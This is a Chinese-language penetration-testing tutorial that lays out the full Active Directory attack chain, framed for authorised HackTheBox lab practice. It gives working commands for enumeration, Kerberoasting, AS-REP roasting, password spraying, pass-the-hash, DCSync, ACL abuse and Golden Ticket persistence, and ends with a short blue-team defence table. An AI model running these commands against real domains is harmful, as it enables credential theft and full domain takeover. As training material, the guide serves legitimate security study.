AD 域渗透攻击链全解:从普通域用户到域控的完整攻击地图
声明:本文内容仅用于授权渗透测试和安全研究,所有示例基于 HackTheBox 等合法靶机平台。
引言:为什么 AD 攻击是企业渗透的核心战场
现实中的企业网络,十之八九在用 Active Directory(AD)。AD 是微软的集中式身份和访问管理系统,管理所有用户、计算机、策略——这也意味着,攻破 AD 就等于攻破整个企业网络。
我第一次打 AD 靶机(HTB Forest)的时候,面对 BloodHound 那张庞大的关系图,完全不知从哪入手。打了十几台 AD 靶机之后,才慢慢摸清一个规律:AD 渗透有固定的攻击链,核心节点就那几个,绕来绕去都是这些技术。
这篇文章把 AD 攻击的完整链路系统化——从如何在域内立足、到获取域控权限、最后持久化,每个环节都有原理解释和实战命令。
适合读者:已理解基础渗透流程,想系统学习 AD 攻击的安全从业者、OSCP/CRTE 备考者。
一、AD 基础:你必须理解这些概念
核心组件
| 组件 | 说明 |
|---|---|
| 域控(DC) | AD 的大脑,管理所有认证和授权 |
| 域用户 | AD 管理的用户账户 |
| 域计算机 | 加入域的主机 |
| 安全组 | Domain Admins(DA)是目标 |
| SPN | 服务主体名称,Kerberoasting 的关键 |
| KRBTGT | 域中最关键的服务账户,持有 Golden Ticket 的密钥 |
Kerberos 认证流程(简化版)
用户登录
↓
向 DC 请求 TGT(Ticket Granting Ticket)
↓ (AS-REQ / AS-REP)
拿到 TGT(用 KRBTGT 哈希加密)
↓
用 TGT 向 DC 请求访问特定服务的票据(TGS)
↓ (TGS-REQ / TGS-REP)
拿到 TGS(用目标服务账户哈希加密)
↓
用 TGS 访问服务为什么 Kerberos 可以被攻击:TGS 是用服务账户的 NTLM 哈希加密的,任何域用户都能请求 TGS,然后离线暴力破解——这就是 Kerberoasting。
二、攻击链总览
域内立足点(低权限用户 / 机器账户)
↓
一、侦察与枚举
BloodHound + PowerView 收集域结构
↓
二、密码攻击
Kerberoasting / AS-REP Roasting / 密码喷洒
↓
三、横向移动
PTH / PTT / Over-Pass-the-Hash / WinRM
↓
四、权限提升至 Domain Admin
ACL 滥用 / DCSync / 特权账户
↓
五、持久化
Golden Ticket / Silver Ticket / 后门账户三、第一步:域内侦察
3.1 BloodHound(必跑)
BloodHound 把 AD 的关系图可视化,帮你找到从当前账户到 Domain Admin 的最短路径。
# 方法一:SharpHound(在 Windows 靶机上运行)
.\SharpHound.exe -c All --zipfilename bloodhound.zip
# 方法二:bloodhound-python(从攻击机远程收集,无需在目标上运行工具)
pip install bloodhound
bloodhound-python -u user -p password -ns <DC_IP> -d domain.local -c AllBloodHound 必查的预置查询:
| 查询 | 作用 |
|---|---|
| Find all Domain Admins | 确认目标账户 |
| Find Shortest Paths to Domain Admins | 从当前账户到 DA 的最短路 |
| Find Principals with DCSync Rights | 谁能 DCSync |
| Find AS-REP Roastable Users | 可 AS-REP 攻击的账户 |
| Find Kerberoastable Users | 有 SPN 的服务账户 |
使用步骤:
- 启动 neo4j:
sudo neo4j start - 启动 bloodhound:
bloodhound - 上传 .zip 文件
- 执行上述查询,右键高亮路径节点,看"滥用"说明(Abuse Info)
3.2 PowerView / LDAP 枚举
Import-Module .\PowerView.ps1
# 基础信息
Get-Domain
Get-DomainController
(Get-DomainPolicy)."system access" # 查密码策略(锁定阈值)
# 找可 Kerberoast 的用户(有 SPN)
Get-DomainUser -SPN | Select-Object SamAccountName,ServicePrincipalName
# 找可 AS-REP Roast 的用户(不需要预认证)
Get-DomainUser -UACFilter DONT_REQ_PREAUTH | Select-Object SamAccountName
# 找 Domain Admins 成员
Get-DomainGroupMember "Domain Admins" | Select-Object MemberName,MemberSID
# ACL 枚举(找可利用的权限关系)
Find-InterestingDomainAcl -ResolveGUIDs | Select-Object ObjectDN,ActiveDirectoryRights,IdentityReferenceName四、第二步:密码攻击
4.1 Kerberoasting(最高频攻击)
原理:任何域用户都可以请求有 SPN 的服务账户的 TGS,拿到后离线破解。
# 攻击机执行(impacket)
impacket-GetUserSPNs domain.local/user:password -dc-ip <DC_IP> -request
# 输出 $krb5tgs$23$... 格式的哈希
# 破解(hashcat)
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt -r best64.rule# Windows 上(Rubeus)
.\Rubeus.exe kerberoast /nowrap
# 直接输出格式化的哈希,复制去 hashcatHTB 经验:HTB Forest、Active 靶机的核心就是 Kerberoasting,服务账户密码通常在 rockyou 前几十万条里。
4.2 AS-REP Roasting
原理:如果用户设置了"不需要 Kerberos 预身份验证",攻击者无需凭据就能获取 AS-REP,其中包含用用户哈希加密的部分,可离线破解。
# 无凭据枚举 AS-REP Roastable 用户
impacket-GetNPUsers domain.local/ -usersfile users.txt -no-pass -dc-ip <DC_IP>
impacket-GetNPUsers domain.local/ -dc-ip <DC_IP> -request -no-pass -usersfile users.txt -format hashcat
# 破解
hashcat -m 18200 asreproast.txt /usr/share/wordlists/rockyou.txtHTB 经验:HTB Forest 靶机的初始立足点就是 AS-REP Roasting,通过 LDAP 匿名枚举拿到用户名列表,再 AS-REP Roasting 拿到密码。
4.3 密码喷洒(Password Spray)
适合场景:有用户名列表,不知道密码,但想避免账户锁定。
# CrackMapExec(最常用)
crackmapexec smb <DC_IP> -u users.txt -p 'Welcome1!' --continue-on-success
# Kerbrute(不会触发传统的账户锁定日志)
./kerbrute passwordspray -d domain.local --dc <DC_IP> users.txt 'Welcome1!'
./kerbrute userenum -d domain.local --dc <DC_IP> users.txt # 先枚举有效用户密码喷洒原则:先查密码策略(锁定阈值通常是 5 次),每批喷洒不超过 3 次,批次之间等待锁定窗口(通常 30 分钟)。
五、第三步:横向移动
有了凭据(密码或哈希),横向移动到更高权限的机器。
5.1 Pass-the-Hash(PTH)
原理:Windows 的 NTLM 认证可以直接用哈希,不需要明文密码。
# impacket-psexec(最常用,会有系统日志)
impacket-psexec domain/admin@<target> -hashes :NTLM_HASH
# evil-winrm(安静,走 WinRM 5985 端口)
evil-winrm -i <target> -u admin -H NTLM_HASH
# CrackMapExec(验证 + 执行命令)
crackmapexec smb <target> -u admin -H NTLM_HASH -x "whoami"
crackmapexec smb 192.168.1.0/24 -u admin -H NTLM_HASH # 批量验证5.2 Pass-the-Ticket(PTT)
# Rubeus 导出票据
.\Rubeus.exe dump /nowrap
# 导入特定票据
.\Rubeus.exe ptt /ticket:<base64_ticket>
# 验证
klist5.3 Over-Pass-the-Hash
用 NTLM 哈希申请 Kerberos 票据,绕过只检查 Kerberos 的场景:
.\Rubeus.exe asktgt /domain:domain.local /user:admin /rc4:NTLM_HASH /ptt六、第四步:关键域攻击
6.1 DCSync(获取所有哈希的终极手段)
前提:有 DS-Replication-Get-Changes-All 权限(DA、EA 或被授权账户)
# impacket(在攻击机执行)
impacket-secretsdump domain/admin:password@<DC_IP>
impacket-secretsdump domain/admin@<DC_IP> -hashes :NTLM_HASH
# 只导出 krbtgt(用于 Golden Ticket)
impacket-secretsdump domain/admin:password@<DC_IP> -just-dc-user krbtgt# Mimikatz(在目标机执行)
.\mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:domain.local /user:krbtgt" exit拿到 krbtgt 哈希意味着你可以伪造任意票据(Golden Ticket)——这是域的最终沦陷。
6.2 ACL 滥用(BloodHound 最核心的价值)
BloodHound 把可利用的 ACL 权限可视化,常见场景:
| ACL 权限 | 目标 | 利用方式 |
|---|---|---|
| GenericAll on User | 任意用户 | 修改密码 / 添加 SPN |
| GenericAll on Group | Domain Admins | 把自己加进去 |
| GenericWrite on User | 服务账户 | 添加 SPN → Kerberoast |
| WriteDACL | 域对象 | 给自己加 DCSync 权限 |
| ForceChangePassword | 管理员账户 | 强制修改密码 |
# 利用 GenericAll 修改用户密码(PowerView)
Set-DomainUserPassword -Identity targetuser -AccountPassword (ConvertTo-SecureString 'NewP@ss!' -AsPlainText -Force)
# 利用 GenericAll 将自己加入 Domain Admins
Add-DomainGroupMember -Identity "Domain Admins" -Members "currentuser"
Verify: Get-DomainGroupMember "Domain Admins"
# 利用 WriteDACL 给自己加 DCSync 权限
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" -PrincipalIdentity currentuser -Rights DCSync
# 然后执行 DCSync6.3 Golden Ticket(持久化神器)
前提:获得 krbtgt 账户的 NTLM 哈希
# impacket
impacket-ticketer -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass domain.local/Administrator@<DC># Mimikatz
.\mimikatz.exe "kerberos::golden /user:FakeAdmin /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:KRBTGT_HASH /ptt" exitGolden Ticket 的恐怖之处:即使域管理员重置了密码,只要 krbtgt 哈希不变,Golden Ticket 就永久有效(默认 10 年)。
七、完整 AD 攻击路径速查
域内立足点(普通用户)
↓
[BloodHound + PowerView 枚举]
├─→ AS-REP Roastable 用户? → AS-REP Roast → 破解 → 更高权限账户
├─→ Kerberoastable 服务账户? → Kerberoast → 破解 → 横向
└─→ ACL 可利用? → GenericAll/WriteDACL → 加入 DA 或 DCSync 权限
↓
[横向移动到 DC 附近的机器]
PTH / evil-winrm / psexec
↓
[DCSync 或直接 LSASS 转储]
获取 krbtgt 哈希 + Administrator 哈希
↓
[Golden Ticket 持久化]
域永久后门八、蓝队防御建议
| 攻击技术 | 检测 / 防御 |
|---|---|
| Kerberoasting | 监控 TGS 请求(4769);服务账户密码 25 位以上 |
| AS-REP Roasting | 检查不需要预认证的账户,确保有实际需要才禁用 |
| DCSync | 监控 4662 事件(DS-Replication-Get-Changes);严格控制复制权限 |
| PTH | 启用 Windows Credential Guard;禁用 NTLM(较复杂) |
| Golden Ticket | 监控异常 TGT(生命周期过长);定期双重重置 krbtgt 密码 |
| BloodHound 收集 | 监控 LDAP 大量查询(4662);限制 LDAP 匿名访问 |
关键收获
- BloodHound 是 AD 渗透的眼睛:没有 BloodHound 就是蒙眼走路,任何时候都要先跑收集。
- Kerberoasting 是最低门槛的 AD 攻击:只需要一个普通域用户,就能获取服务账户的哈希。
- krbtgt 哈希 = 游戏结束:拿到它意味着可以伪造任意用户的票据,整个域都在掌控之中。
参考资料
- HackTricks - Active Directory Methodology
- BloodHound 文档
- ired.team — 红队技术参考
- HTB 推荐练习靶机:Forest(Easy)、Active(Easy)、Sauna(Easy)、Resolute(Medium)

